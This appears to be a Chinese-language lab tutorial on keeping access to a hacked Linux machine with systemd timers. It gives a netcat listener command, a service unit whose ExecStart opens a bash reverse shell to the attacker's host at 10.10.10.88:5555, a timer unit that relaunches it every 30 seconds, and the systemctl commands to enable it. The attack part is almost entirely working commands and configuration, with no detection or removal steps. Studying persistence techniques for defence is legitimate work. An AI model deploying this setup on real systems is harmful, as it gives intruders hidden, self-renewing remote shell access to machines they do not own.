环境说明
| IP | HOSTNAME | NOTE |
|---|---|---|
| 172.16.106.67 | kali_dqy | 受害者主机 |
| 10.10.10.88 | win10_dqy | 攻击者主机 |
前言
-
在获取到Linux系统权限后,有许多方式去进行权限维持,其中systemd定时器就是一种维持权限的方式。
-
与 cron 作业类似,systemd 定时器可以在特定的时间间隔触发事件,攻击者可以通过创建定时任务的方式,执行恶意操作,如进行权限维持,创建挖矿任务等等。
-
相关systemd的基础常识,可以参考如下链接:
http://www.ruanyifeng.com/blog/2018/03/systemd-timer.html
复现过程
攻击机设置监听
- 我们在windows上通过netcat来监听5555端口:
nc.exe -lvp 5555

创建Service单元
- 我们通过在/usr/lib/systemd/system目录下创建一个service单元用于反弹shell到攻击者主机
[Unit]
Description=Just a reverse shell
[Service]
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.88/5555 0>&1'

创建Timer单元
- Timer单元创建Service单元的定时任务,这里我们每30s启动一次Service单元
[Unit]
Description=Run rs.service every 30s
[Timer]
OnUnitActiveSec=30s
Unit=rs.service

- 接下来我们通过systemctl启动timer单元
sudo systemctl start rs.timer
- 启动成功之后,查看timer状态
sudo systemctl status rs.timer

获取权限
- 我们之前在windows攻击机上通过netcat监听了5555端口,如下图所示我们获取到了shell:
